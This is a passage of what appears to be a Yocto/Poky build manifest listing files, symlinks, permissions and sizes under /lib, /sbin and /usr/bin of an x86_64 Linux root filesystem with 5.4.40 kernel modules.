+lrwxrwxrwx root root 17 ./lib/libcom_err.so.2 -> libcom_err.so.2.1
+lrwxrwxrwx root root 15 ./lib/libcom_err.so -> libcom_err.so.2
+lrwxrwxrwx root root 12 ./lib/libc.so.6 -> libc-2.31.so
+-rwxr-xr-x root root 14360 ./lib/libdl-2.31.so
+lrwxrwxrwx root root 13 ./lib/libdl.so.2 -> libdl-2.31.so
+-rwxr-xr-x root root 44616 ./lib/libe2p.so.2.3
+lrwxrwxrwx root root 13 ./lib/libe2p.so.2 -> libe2p.so.2.3
+lrwxrwxrwx root root 11 ./lib/libe2p.so -> libe2p.so.2
+-rwxr-xr-x root root 426264 ./lib/libext2fs.so.2.4
+lrwxrwxrwx root root 16 ./lib/libext2fs.so.2 -> libext2fs.so.2.4
+lrwxrwxrwx root root 14 ./lib/libext2fs.so -> libext2fs.so.2
+-rwxr-xr-x root root 440104 ./lib/libfdisk.so.1.1.0
+lrwxrwxrwx root root 17 ./lib/libfdisk.so.1 -> libfdisk.so.1.1.0
+-rw-r--r-- root root 132 ./lib/libgcc_s.so
+-rw-r--r-- root root 100248 ./lib/libgcc_s.so.1
+-rwxr-xr-x root root 1312800 ./lib/libm-2.31.so
+-rwxr-xr-x root root 379432 ./lib/libmount.so.1.1.0
+lrwxrwxrwx root root 17 ./lib/libmount.so.1 -> libmount.so.1.1.0
+lrwxrwxrwx root root 12 ./lib/libm.so.6 -> libm-2.31.so
+-rwxr-xr-x root root 174104 ./lib/libmvec-2.31.so
+lrwxrwxrwx root root 15 ./lib/libmvec.so.1 -> libmvec-2.31.so
+-rwxr-xr-x root root 157512 ./lib/libncurses.so.5.9
+lrwxrwxrwx root root 17 ./lib/libncurses.so.5 -> libncurses.so.5.9
+-rwxr-xr-x root root 210760 ./lib/libncursesw.so.5.9
+lrwxrwxrwx root root 18 ./lib/libncursesw.so.5 -> libncursesw.so.5.9
+-rwxr-xr-x root root 92184 ./lib/libnsl-2.31.so
+lrwxrwxrwx root root 14 ./lib/libnsl.so.1 -> libnsl-2.31.so
+-rwxr-xr-x root root 35288 ./lib/libnss_compat-2.31.so
+lrwxrwxrwx root root 21 ./lib/libnss_compat.so.2 -> libnss_compat-2.31.so
+-rwxr-xr-x root root 30752 ./lib/libnss_db-2.31.so
+lrwxrwxrwx root root 17 ./lib/libnss_db.so.2 -> libnss_db-2.31.so
+-rwxr-xr-x root root 22560 ./lib/libnss_dns-2.31.so
+lrwxrwxrwx root root 18 ./lib/libnss_dns.so.2 -> libnss_dns-2.31.so
+-rwxr-xr-x root root 51232 ./lib/libnss_files-2.31.so
+lrwxrwxrwx root root 20 ./lib/libnss_files.so.2 -> libnss_files-2.31.so
+-rwxr-xr-x root root 22560 ./lib/libnss_hesiod-2.31.so
+lrwxrwxrwx root root 21 ./lib/libnss_hesiod.so.2 -> libnss_hesiod-2.31.so
+-rwxr-xr-x root root 113296 ./lib/libpthread-2.31.so
+lrwxrwxrwx root root 18 ./lib/libpthread.so.0 -> libpthread-2.31.so
+-rwxr-xr-x root root 88320 ./lib/libresolv-2.31.so
+lrwxrwxrwx root root 17 ./lib/libresolv.so.2 -> libresolv-2.31.so
+-rwxr-xr-x root root 39328 ./lib/librt-2.31.so
+lrwxrwxrwx root root 13 ./lib/librt.so.1 -> librt-2.31.so
+-rwxr-xr-x root root 227432 ./lib/libsmartcols.so.1.1.0
+lrwxrwxrwx root root 21 ./lib/libsmartcols.so.1 -> libsmartcols.so.1.1.0
+-rwxr-xr-x root root 34704 ./lib/libss.so.2.0
+lrwxrwxrwx root root 12 ./lib/libss.so.2 -> libss.so.2.0
+lrwxrwxrwx root root 10 ./lib/libss.so -> libss.so.2
+-rwxr-xr-x root root 35416 ./lib/libthread_db-1.0.so
+lrwxrwxrwx root root 19 ./lib/libthread_db.so.1 -> libthread_db-1.0.so
+-rwxr-xr-x root root 175208 ./lib/libtinfo.so.5.9
+lrwxrwxrwx root root 15 ./lib/libtinfo.so.5 -> libtinfo.so.5.9
+-rwxr-xr-x root root 157912 ./lib/libudev.so.1.6.3
+lrwxrwxrwx root root 16 ./lib/libudev.so.1 -> libudev.so.1.6.3
+-rwxr-xr-x root root 14360 ./lib/libutil-2.31.so
+lrwxrwxrwx root root 15 ./lib/libutil.so.1 -> libutil-2.31.so
+-rwxr-xr-x root root 30752 ./lib/libuuid.so.1.3.0
+lrwxrwxrwx root root 16 ./lib/libuuid.so.1 -> libuuid.so.1.3.0
+-rwxr-xr-x root root 39816 ./lib/libwrap.so.0.7.6
+lrwxrwxrwx root root 16 ./lib/libwrap.so.0 -> libwrap.so.0.7.6
+-rwxr-xr-x root root 100312 ./lib/libz.so.1.2.11
+lrwxrwxrwx root root 14 ./lib/libz.so.1 -> libz.so.1.2.11
+drwxr-xr-x root root 4096 ./lib/modprobe.d
+drwxr-xr-x root root 4096 ./lib/modules
+drwxr-xr-x root root 4096 ./lib/modules/5.4.40-yocto-standard
+drwxr-xr-x root root 4096 ./lib/modules/5.4.40-yocto-standard/kernel
+drwxr-xr-x root root 4096 ./lib/modules/5.4.40-yocto-standard/kernel/drivers
+drwxr-xr-x root root 4096 ./lib/modules/5.4.40-yocto-standard/kernel/drivers/video
+drwxr-xr-x root root 4096 ./lib/modules/5.4.40-yocto-standard/kernel/drivers/video/fbdev
+-rw-r--r-- root root 46440 ./lib/modules/5.4.40-yocto-standard/kernel/drivers/video/fbdev/uvesafb.ko
+drwxr-xr-x root root 4096 ./lib/modules/5.4.40-yocto-standard/kernel/net
+drwxr-xr-x root root 4096 ./lib/modules/5.4.40-yocto-standard/kernel/net/ipv4
+drwxr-xr-x root root 4096 ./lib/modules/5.4.40-yocto-standard/kernel/net/ipv4/netfilter
+-rw-r--r-- root root 6912 ./lib/modules/5.4.40-yocto-standard/kernel/net/ipv4/netfilter/iptable_filter.ko
+-rw-r--r-- root root 6272 ./lib/modules/5.4.40-yocto-standard/kernel/net/ipv4/netfilter/iptable_nat.ko
+-rw-r--r-- root root 32144 ./lib/modules/5.4.40-yocto-standard/kernel/net/ipv4/netfilter/ip_tables.ko
+-rw-r--r-- root root 6160 ./lib/modules/5.4.40-yocto-standard/kernel/net/ipv4/netfilter/nf_defrag_ipv4.ko
+drwxr-xr-x root root 4096 ./lib/modules/5.4.40-yocto-standard/kernel/net/ipv6
+drwxr-xr-x root root 4096 ./lib/modules/5.4.40-yocto-standard/kernel/net/ipv6/netfilter
+-rw-r--r-- root root 6928 ./lib/modules/5.4.40-yocto-standard/kernel/net/ipv6/netfilter/ip6table_filter.ko
+-rw-r--r-- root root 32640 ./lib/modules/5.4.40-yocto-standard/kernel/net/ipv6/netfilter/ip6_tables.ko
+-rw-r--r-- root root 16472 ./lib/modules/5.4.40-yocto-standard/kernel/net/ipv6/netfilter/nf_defrag_ipv6.ko
+drwxr-xr-x root root 4096 ./lib/modules/5.4.40-yocto-standard/kernel/net/netfilter
+-rw-r--r-- root root 164400 ./lib/modules/5.4.40-yocto-standard/kernel/net/netfilter/nf_conntrack.ko
+-rw-r--r-- root root 45776 ./lib/modules/5.4.40-yocto-standard/kernel/net/netfilter/nf_nat.ko
+-rw-r--r-- root root 49480 ./lib/modules/5.4.40-yocto-standard/kernel/net/netfilter/x_tables.ko
+-rw-r--r-- root root 199 ./lib/modules/5.4.40-yocto-standard/modules.alias
+-rw-r--r-- root root 443 ./lib/modules/5.4.40-yocto-standard/modules.alias.bin
+-rw-r--r-- root root 9285 ./lib/modules/5.4.40-yocto-standard/modules.builtin
+-rw-r--r-- root root 10874 ./lib/modules/5.4.40-yocto-standard/modules.builtin.bin
+-rw-r--r-- root root 68434 ./lib/modules/5.4.40-yocto-standard/modules.builtin.modinfo
+-rw-r--r-- root root 1099 ./lib/modules/5.4.40-yocto-standard/modules.dep
+-rw-r--r-- root root 1794 ./lib/modules/5.4.40-yocto-standard/modules.dep.bin
+-rw-r--r-- root root 0 ./lib/modules/5.4.40-yocto-standard/modules.devname
+-rw-r--r-- root root 17785 ./lib/modules/5.4.40-yocto-standard/modules.order
+-rw-r--r-- root root 55 ./lib/modules/5.4.40-yocto-standard/modules.softdep
+-rw-r--r-- root root 7817 ./lib/modules/5.4.40-yocto-standard/modules.symbols
+-rw-r--r-- root root 9233 ./lib/modules/5.4.40-yocto-standard/modules.symbols.bin
+drwxr-xr-x root root 4096 ./lib/udev
+-rwxr-xr-x root root 104640 ./lib/udev/ata_id
+-rwxr-xr-x root root 116936 ./lib/udev/cdrom_id
+-rwxr-xr-x root root 100552 ./lib/udev/collect
+-rwxr-xr-x root root 14296 ./lib/udev/mtd_probe
+drwxr-xr-x root root 4096 ./lib/udev/rules.d
+-rw-r--r-- root root 321 ./lib/udev/rules.d/01-md-raid-creating.rules
+-rw-r--r-- root root 121 ./lib/udev/rules.d/50-firmware.rules
+-rw-r--r-- root root 3677 ./lib/udev/rules.d/50-udev-default.rules
+-rw-r--r-- root root 620 ./lib/udev/rules.d/60-block.rules
+-rw-r--r-- root root 1071 ./lib/udev/rules.d/60-cdrom_id.rules
+-rw-r--r-- root root 413 ./lib/udev/rules.d/60-drm.rules
+-rw-r--r-- root root 974 ./lib/udev/rules.d/60-evdev.rules
+-rw-r--r-- root root 282 ./lib/udev/rules.d/60-input-id.rules
+-rw-r--r-- root root 616 ./lib/udev/rules.d/60-persistent-alsa.rules
+-rw-r--r-- root root 2710 ./lib/udev/rules.d/60-persistent-input.rules
+-rw-r--r-- root root 6521 ./lib/udev/rules.d/60-persistent-storage.rules
+-rw-r--r-- root root 1509 ./lib/udev/rules.d/60-persistent-storage-tape.rules
+-rw-r--r-- root root 769 ./lib/udev/rules.d/60-persistent-v4l.rules
+-rw-r--r-- root root 727 ./lib/udev/rules.d/60-sensor.rules
+-rw-r--r-- root root 1190 ./lib/udev/rules.d/60-serial.rules
+-rw-r--r-- root root 2134 ./lib/udev/rules.d/63-md-raid-arrays.rules
+-rw-r--r-- root root 387 ./lib/udev/rules.d/64-btrfs-dm.rules
+-rw-r--r-- root root 574 ./lib/udev/rules.d/64-btrfs.rules
+-rw-r--r-- root root 1444 ./lib/udev/rules.d/64-md-raid-assembly.rules
+-rw-r--r-- root root 846 ./lib/udev/rules.d/69-md-clustered-confirm-device.rules
+-rw-r--r-- root root 432 ./lib/udev/rules.d/70-joystick.rules
+-rw-r--r-- root root 734 ./lib/udev/rules.d/70-mouse.rules
+-rw-r--r-- root root 473 ./lib/udev/rules.d/70-touchpad.rules
+-rw-r--r-- root root 452 ./lib/udev/rules.d/75-net-description.rules
+-rw-r--r-- root root 174 ./lib/udev/rules.d/75-probe_mtd.rules
+-rw-r--r-- root root 4816 ./lib/udev/rules.d/78-sound-card.rules
+-rw-r--r-- root root 615 ./lib/udev/rules.d/80-drivers.rules
+-rw-r--r-- root root 491 ./lib/udev/rules.d/80-net-name-slot.rules
+-rwxr-xr-x root root 109304 ./lib/udev/scsi_id
+-rwxr-xr-x root root 67776 ./lib/udev/v4l_id
+drwxr-xr-x root root 4096 ./media
+drwxr-xr-x root root 4096 ./mnt
+dr-xr-xr-x root root 4096 ./proc
+drwxr-xr-x root root 4096 ./run
+drwxr-xr-x root root 4096 ./sbin
+-rwxr-xr-x root root 64736 ./sbin/agetty
+-rwxr-xr-x root root 34792 ./sbin/badblocks
+lrwxrwxrwx root root 22 ./sbin/blkid -> /sbin/blkid.util-linux
+-rwxr-xr-x root root 120912 ./sbin/blkid.util-linux
+lrwxrwxrwx root root 25 ./sbin/blockdev -> /sbin/blockdev.util-linux
+-rwxr-xr-x root root 63536 ./sbin/blockdev.util-linux
+-rwxr-xr-x root root 22736 ./sbin/bootlogd
+-rwxr-xr-x root root 104568 ./sbin/bridge
+-rwxr-xr-x root root 96664 ./sbin/cfdisk
+-rwxr-xr-x root root 38952 ./sbin/ctrlaltdel
+-rwxr-xr-x root root 239064 ./sbin/debugfs
+lrwxrwxrwx root root 11 ./sbin/depmod.kmod -> ../bin/kmod
+lrwxrwxrwx root root 17 ./sbin/depmod -> /sbin/depmod.kmod
+-rwxr-xr-x root root 30768 ./sbin/dumpe2fs
+-rwxr-xr-x root root 14376 ./sbin/e2freefrag
+-rwxr-xr-x root root 330808 ./sbin/e2fsck
+-rwxr-xr-x root root 38952 ./sbin/e2image
+-rwxr-xr-x root root 30768 ./sbin/e2mmpstatus
+-rwxr-xr-x root root 22560 ./sbin/e2undo
+-rwxr-xr-x root root 26656 ./sbin/e4crypt
+-rwxr-xr-x root root 34776 ./sbin/e4defrag
+lrwxrwxrwx root root 22 ./sbin/fdisk -> /sbin/fdisk.util-linux
+-rwxr-xr-x root root 149600 ./sbin/fdisk.util-linux
+-rwxr-xr-x root root 18416 ./sbin/filefrag
+-rwxr-xr-x root root 330808 ./sbin/fsck.ext2
+-rwxr-xr-x root root 330808 ./sbin/fsck.ext3
+-rwxr-xr-x root root 330808 ./sbin/fsck.ext4
+lrwxrwxrwx root root 21 ./sbin/fsck -> /sbin/fsck.util-linux
+-rwxr-xr-x root root 55392 ./sbin/fsck.util-linux
+-rwxr-xr-x root root 14296 ./sbin/fstab-decode
+lrwxrwxrwx root root 23 ./sbin/fstrim -> /sbin/fstrim.util-linux
+-rwxr-xr-x root root 71728 ./sbin/fstrim.util-linux
+lrwxrwxrwx root root 12 ./sbin/getty -> /sbin/agetty
+lrwxrwxrwx root root 19 ./sbin/halt -> /sbin/halt.sysvinit
+-rwsr-xr-- root shutdown 22512 ./sbin/halt.sysvinit
+lrwxrwxrwx root root 24 ./sbin/hwclock -> /sbin/hwclock.util-linux
+-rwxr-xr-x root root 80048 ./sbin/hwclock.util-linux
+-rwxr-xr-x root root 3109 ./sbin/ifcfg
+lrwxrwxrwx root root 19 ./sbin/ifconfig -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./sbin/ifdown -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./sbin/ifup -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./sbin/init -> /sbin/init.sysvinit
+-rwxr-xr-x root root 47944 ./sbin/init.sysvinit
+lrwxrwxrwx root root 11 ./sbin/insmod.kmod -> ../bin/kmod
+lrwxrwxrwx root root 17 ./sbin/insmod -> /sbin/insmod.kmod
+-rwxr-xr-x root root 619960 ./sbin/ip.iproute2
+lrwxrwxrwx root root 17 ./sbin/ip -> /sbin/ip.iproute2
+-rwxr-xr-x root root 26664 ./sbin/killall5
+lrwxrwxrwx root root 19 ./sbin/klogd -> /bin/busybox.nosuid
+-rwxr-xr-x root root 887640 ./sbin/ldconfig
+lrwxrwxrwx root root 19 ./sbin/loadkmap -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./sbin/logread -> /bin/busybox.nosuid
+-rwxr-xr-x root root 14296 ./sbin/logsave
+lrwxrwxrwx root root 24 ./sbin/losetup -> /sbin/losetup.util-linux
+-rwxr-xr-x root root 112808 ./sbin/losetup.util-linux
+lrwxrwxrwx root root 15 ./sbin/lsmod -> /bin/lsmod.kmod
+-rwxr-xr-x root root 595280 ./sbin/mdadm
+-rwxr-xr-x root root 328880 ./sbin/mdmon
+-rwxr-xr-x root root 137512 ./sbin/mke2fs.e2fsprogs
+lrwxrwxrwx root root 22 ./sbin/mke2fs -> /sbin/mke2fs.e2fsprogs
+-rwxr-xr-x root root 137512 ./sbin/mkfs.ext2.e2fsprogs
+lrwxrwxrwx root root 25 ./sbin/mkfs.ext2 -> /sbin/mkfs.ext2.e2fsprogs
+-rwxr-xr-x root root 137512 ./sbin/mkfs.ext3
+-rwxr-xr-x root root 137512 ./sbin/mkfs.ext4
+-rwxr-xr-x root root 14296 ./sbin/mklost+found
+lrwxrwxrwx root root 23 ./sbin/mkswap -> /sbin/mkswap.util-linux
+-rwxr-xr-x root root 104504 ./sbin/mkswap.util-linux
+lrwxrwxrwx root root 11 ./sbin/modinfo.kmod -> ../bin/kmod
+lrwxrwxrwx root root 18 ./sbin/modinfo -> /sbin/modinfo.kmod
+lrwxrwxrwx root root 11 ./sbin/modprobe.kmod -> ../bin/kmod
+lrwxrwxrwx root root 19 ./sbin/modprobe -> /sbin/modprobe.kmod
+lrwxrwxrwx root root 20 ./sbin/nologin -> /sbin/nologin.shadow
+-rwxr-xr-x root root 14296 ./sbin/nologin.shadow
+-rwxr-xr-x root root 14384 ./sbin/nologin.util-linux
+lrwxrwxrwx root root 27 ./sbin/pivot_root -> /sbin/pivot_root.util-linux
+-rwxr-xr-x root root 14384 ./sbin/pivot_root.util-linux
+-rwxr-xr-x root root 2460 ./sbin/populate-extfs.sh
+lrwxrwxrwx root root 23 ./sbin/poweroff -> /sbin/poweroff.sysvinit
+lrwxrwxrwx root root 13 ./sbin/poweroff.sysvinit -> halt.sysvinit
+lrwxrwxrwx root root 21 ./sbin/reboot -> /sbin/reboot.sysvinit
+lrwxrwxrwx root root 13 ./sbin/reboot.sysvinit -> halt.sysvinit
+lrwxrwxrwx root root 11 ./sbin/rmmod.kmod -> ../bin/kmod
+lrwxrwxrwx root root 16 ./sbin/rmmod -> /sbin/rmmod.kmod
+lrwxrwxrwx root root 19 ./sbin/route -> /bin/busybox.nosuid
+-rwxr-xr-x root root 208 ./sbin/routef
+-rwxr-xr-x root root 1656 ./sbin/routel
+-rwxr-xr-x root root 75832 ./sbin/rtmon
+-rwxr-xr-x root root 70 ./sbin/rtpr
+lrwxrwxrwx root root 23 ./sbin/runlevel -> /sbin/runlevel.sysvinit
+-rwxr-xr-x root root 14304 ./sbin/runlevel.sysvinit
+lrwxrwxrwx root root 19 ./sbin/setconsole -> /bin/busybox.nosuid
+lrwxrwxrwx root root 23 ./sbin/shutdown -> /sbin/shutdown.sysvinit
+-rwsr-xr-- root shutdown 30744 ./sbin/shutdown.sysvinit
+lrwxrwxrwx root root 19 ./sbin/start-stop-daemon -> /bin/busybox.nosuid
+lrwxrwxrwx root root 24 ./sbin/sulogin -> /sbin/sulogin.util-linux
+-rwxr-xr-x root root 47152 ./sbin/sulogin.util-linux
+lrwxrwxrwx root root 24 ./sbin/swapoff -> /sbin/swapoff.util-linux
+-rwxr-xr-x root root 22576 ./sbin/swapoff.util-linux
+lrwxrwxrwx root root 23 ./sbin/swapon -> /sbin/swapon.util-linux
+-rwxr-xr-x root root 51248 ./sbin/swapon.util-linux
+lrwxrwxrwx root root 28 ./sbin/switch_root -> /sbin/switch_root.util-linux
+-rwxr-xr-x root root 14384 ./sbin/switch_root.util-linux
+-rwxr-xr-x root root 30768 ./sbin/sysctl.procps
+lrwxrwxrwx root root 19 ./sbin/sysctl -> /sbin/sysctl.procps
+lrwxrwxrwx root root 19 ./sbin/syslogd -> /bin/busybox.nosuid
+lrwxrwxrwx root root 4 ./sbin/telinit -> init
+lrwxrwxrwx root root 16 ./sbin/udevadm -> /usr/bin/udevadm
+-rwxr-xr-x root root 334168 ./sbin/udevd
+lrwxrwxrwx root root 19 ./sbin/udhcpc -> /bin/busybox.nosuid
+-rwxr-xr-x root root 133264 ./sbin/v86d
+lrwxrwxrwx root root 17 ./sbin/vigr -> /sbin/vigr.shadow
+lrwxrwxrwx root root 11 ./sbin/vigr.shadow -> vipw.shadow
+lrwxrwxrwx root root 17 ./sbin/vipw -> /sbin/vipw.shadow
+-rwxr-xr-x root root 61496 ./sbin/vipw.shadow
+dr-xr-xr-x root root 4096 ./sys
+drwxrwxrwt root root 4096 ./tmp
+drwxr-xr-x root root 4096 ./usr
+drwxr-xr-x root root 20480 ./usr/bin
+lrwxrwxrwx root root 36 ./usr/bin/addr2line -> /usr/bin/x86_64-poky-linux-addr2line
+-rwxr-xr-x root root 43208 ./usr/bin/arch.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/arch -> /usr/bin/arch.coreutils
+lrwxrwxrwx root root 29 ./usr/bin/ar -> /usr/bin/x86_64-poky-linux-ar
+lrwxrwxrwx root root 29 ./usr/bin/as -> /usr/bin/x86_64-poky-linux-as
+-rwxr-xr-x root root 14288 ./usr/bin/attr
+lrwxrwxrwx root root 13 ./usr/bin/awk -> /usr/bin/gawk
+-rwxr-xr-x root root 63680 ./usr/bin/b2sum
+-rwxr-xr-x root root 47264 ./usr/bin/base32
+-rwxr-xr-x root root 47272 ./usr/bin/base64.coreutils
+-rwxr-xr-x root root 43176 ./usr/bin/basename.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/basename -> /usr/bin/basename.coreutils
+-rwxr-xr-x root root 59552 ./usr/bin/basenc
+-rwxr-xr-x root root 96928 ./usr/bin/bc.bc
+lrwxrwxrwx root root 14 ./usr/bin/bc -> /usr/bin/bc.bc
+lrwxrwxrwx root root 19 ./usr/bin/[[ -> /bin/busybox.nosuid
+-rwxr-xr-x root root 455224 ./usr/bin/bison
+-rwxr-xr-x root root 933632 ./usr/bin/btrfs
+lrwxrwxrwx root root 5 ./usr/bin/btrfsck -> btrfs
+-rwxr-xr-x root root 527560 ./usr/bin/btrfs-convert
+-rwxr-xr-x root root 490760 ./usr/bin/btrfs-find-root
+-rwxr-xr-x root root 519360 ./usr/bin/btrfs-image
+-rwxr-xr-x root root 498888 ./usr/bin/btrfs-map-logical
+-rwxr-xr-x root root 494792 ./usr/bin/btrfs-select-super
+-rwxr-xr-x root root 494784 ./usr/bin/btrfstune
+lrwxrwxrwx root root 11 ./usr/bin/bunzip2.bzip2 -> bzip2.bzip2
+lrwxrwxrwx root root 22 ./usr/bin/bunzip2 -> /usr/bin/bunzip2.bzip2
+lrwxrwxrwx root root 11 ./usr/bin/bzcat.bzip2 -> bzip2.bzip2
+lrwxrwxrwx root root 20 ./usr/bin/bzcat -> /usr/bin/bzcat.bzip2
+lrwxrwxrwx root root 6 ./usr/bin/bzcmp -> bzdiff
+-rwxr-xr-x root root 2140 ./usr/bin/bzdiff
+lrwxrwxrwx root root 6 ./usr/bin/bzegrep -> bzgrep
+lrwxrwxrwx root root 6 ./usr/bin/bzfgrep -> bzgrep
+-rwxr-xr-x root root 2054 ./usr/bin/bzgrep
+-rwxr-xr-x root root 38952 ./usr/bin/bzip2.bzip2
+-rwxr-xr-x root root 14296 ./usr/bin/bzip2recover
+lrwxrwxrwx root root 20 ./usr/bin/bzip2 -> /usr/bin/bzip2.bzip2
+lrwxrwxrwx root root 6 ./usr/bin/bzless -> bzmore
+-rwxr-xr-x root root 1259 ./usr/bin/bzmore
+lrwxrwxrwx root root 23 ./usr/bin/cal -> /usr/bin/cal.util-linux
+-rwxr-xr-x root root 67936 ./usr/bin/cal.util-linux
+lrwxrwxrwx root root 34 ./usr/bin/c++filt -> /usr/bin/x86_64-poky-linux-c++filt
+-rwxr-xr-x root root 14288 ./usr/bin/chacl
+-rwsr-xr-x root root 71776 ./usr/bin/chage
+-rwxr-xr-x root root 71848 ./usr/bin/chcon.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/chcon -> /usr/bin/chcon.coreutils
+-rwsr-xr-x root root 54032 ./usr/bin/chfn.shadow
+lrwxrwxrwx root root 20 ./usr/bin/chfn -> /usr/bin/chfn.shadow
+-rwxr-xr-x root root 63528 ./usr/bin/chmem
+-rwxr-xr-x root root 51240 ./usr/bin/choom
+lrwxrwxrwx root root 24 ./usr/bin/chrt -> /usr/bin/chrt.util-linux
+-rwxr-xr-x root root 34864 ./usr/bin/chrt.util-linux
+-rwsr-xr-x root root 53904 ./usr/bin/chsh.shadow
+lrwxrwxrwx root root 20 ./usr/bin/chsh -> /usr/bin/chsh.shadow
+lrwxrwxrwx root root 19 ./usr/bin/chvt -> /bin/busybox.nosuid
+-rwxr-xr-x root root 43176 ./usr/bin/cksum.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/cksum -> /usr/bin/cksum.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/clear -> /bin/busybox.nosuid
+-rwxr-xr-x root root 47176 ./usr/bin/cmp.diffutils
+lrwxrwxrwx root root 22 ./usr/bin/cmp -> /usr/bin/cmp.diffutils
+-rwxr-xr-x root root 34848 ./usr/bin/col
+-rwxr-xr-x root root 14368 ./usr/bin/colcrt
+-rwxr-xr-x root root 30760 ./usr/bin/colrm
+-rwxr-xr-x root root 51240 ./usr/bin/column
+-rwxr-xr-x root root 51400 ./usr/bin/comm.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/comm -> /usr/bin/comm.coreutils
+-rwxr-xr-x root root 1342 ./usr/bin/compile_et
+-rwxr-xr-x root root 6214 ./usr/bin/c_rehash
+-rwxr-xr-x root root 125128 ./usr/bin/csplit.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/csplit -> /usr/bin/csplit.coreutils
+-rwxr-xr-x root root 55496 ./usr/bin/cut.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/cut -> /usr/bin/cut.coreutils
+-rwxr-xr-x root root 14304 ./usr/bin/dbus-cleanup-sockets
+-rwxr-xr-x root root 223688 ./usr/bin/dbus-daemon
+-rwxr-xr-x root root 30680 ./usr/bin/dbus-launch
+-rwxr-xr-x root root 30688 ./usr/bin/dbus-monitor
+-rwxr-xr-x root root 14304 ./usr/bin/dbus-run-session
+-rwxr-xr-x root root 30680 ./usr/bin/dbus-send
+-rwxr-xr-x root root 26672 ./usr/bin/dbus-test-tool
+-rwxr-xr-x root root 14320 ./usr/bin/dbus-update-activation-environment
+-rwxr-xr-x root root 14296 ./usr/bin/dbus-uuidgen
+-rwxr-xr-x root root 55352 ./usr/bin/dc.bc
+lrwxrwxrwx root root 14 ./usr/bin/dc -> /usr/bin/dc.bc
+lrwxrwxrwx root root 19 ./usr/bin/deallocvt -> /bin/busybox.nosuid
+-rwxr-xr-x root root 105232 ./usr/bin/df.coreutils
+-rwxr-xr-x root root 67760 ./usr/bin/diff3
+-rwxr-xr-x root root 223544 ./usr/bin/diff.diffutils
+lrwxrwxrwx root root 23 ./usr/bin/diff -> /usr/bin/diff.diffutils
+-rwxr-xr-x root root 71864 ./usr/bin/dircolors.coreutils
+lrwxrwxrwx root root 28 ./usr/bin/dircolors -> /usr/bin/dircolors.coreutils
+-rwxr-xr-x root root 162448 ./usr/bin/dir.coreutils
+-rwxr-xr-x root root 43176 ./usr/bin/dirname.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/dirname -> /usr/bin/dirname.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/dir -> /usr/bin/dir.coreutils
+-rwxr-xr-x root root 194760 ./usr/bin/du.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/dumpleases -> /bin/busybox.nosuid
+lrwxrwxrwx root root 21 ./usr/bin/du -> /usr/bin/du.coreutils
+lrwxrwxrwx root root 30 ./usr/bin/dwp -> /usr/bin/x86_64-poky-linux-dwp
+lrwxrwxrwx root root 25 ./usr/bin/eject -> /usr/bin/eject.util-linux
+-rwxr-xr-x root root 79920 ./usr/bin/eject.util-linux
+lrwxrwxrwx root root 34 ./usr/bin/elfedit -> /usr/bin/x86_64-poky-linux-elfedit
+-rwxr-xr-x root root 55904 ./usr/bin/env.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/env -> /usr/bin/env.coreutils
+-rwxr-xr-x root root 39016 ./usr/bin/eu-ar
+-rwxr-xr-x root root 28656 ./usr/bin/eu-elfclassify
+-rwxr-xr-x root root 350840 ./usr/bin/eu-elfcmp
+-rwxr-xr-x root root 31160 ./usr/bin/eu-elfcompress
+-rwxr-xr-x root root 432760 ./usr/bin/eu-elflint
+-rwxr-xr-x root root 22672 ./usr/bin/eu-findtextrel
+-rwxr-xr-x root root 2911 ./usr/bin/eu-make-debug-archive
+-rwxr-xr-x root root 355056 ./usr/bin/eu-objdump
+-rwxr-xr-x root root 22568 ./usr/bin/eu-ranlib
+-rwxr-xr-x root root 27600 ./usr/bin/eu-stack
+-rwxr-xr-x root root 26736 ./usr/bin/eu-strings
+-rwxr-xr-x root root 51240 ./usr/bin/eu-unstrip
+-rwxr-xr-x root root 47304 ./usr/bin/expand.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/expand -> /usr/bin/expand.coreutils
+-rwsr-xr-x root root 36336 ./usr/bin/expiry
+-rwxr-xr-x root root 125096 ./usr/bin/expr.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/expr -> /usr/bin/expr.coreutils
+-rwxr-xr-x root root 84168 ./usr/bin/factor.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/factor -> /usr/bin/factor.coreutils
+-rwxr-xr-x root root 22784 ./usr/bin/faillog
+lrwxrwxrwx root root 29 ./usr/bin/fallocate -> /usr/bin/fallocate.util-linux
+-rwxr-xr-x root root 30776 ./usr/bin/fallocate.util-linux
+-rwxr-xr-x root root 92656 ./usr/bin/filan
+-rwxr-xr-x root root 34904 ./usr/bin/fincore
+-rwxr-xr-x root root 324064 ./usr/bin/find.findutils
+-rwxr-xr-x root root 68840 ./usr/bin/findmnt
+lrwxrwxrwx root root 23 ./usr/bin/find -> /usr/bin/find.findutils
+-rwxr-xr-x root root 443016 ./usr/bin/flex
+lrwxrwxrwx root root 4 ./usr/bin/flex++ -> flex
+lrwxrwxrwx root root 25 ./usr/bin/flock -> /usr/bin/flock.util-linux
+-rwxr-xr-x root root 34944 ./usr/bin/flock.util-linux
+-rwxr-xr-x root root 55464 ./usr/bin/fmt.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/fmt -> /usr/bin/fmt.coreutils
+-rwxr-xr-x root root 47272 ./usr/bin/fold.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/fold -> /usr/bin/fold.coreutils
+-rwxr-xr-x root root 26672 ./usr/bin/free.procps
+lrwxrwxrwx root root 20 ./usr/bin/free -> /usr/bin/free.procps
+-rwxr-xr-x root root 1185 ./usr/bin/fsck.btrfs
+-rwxr-xr-x root root 26576 ./usr/bin/funzip
+lrwxrwxrwx root root 19 ./usr/bin/fuser -> /bin/busybox.nosuid
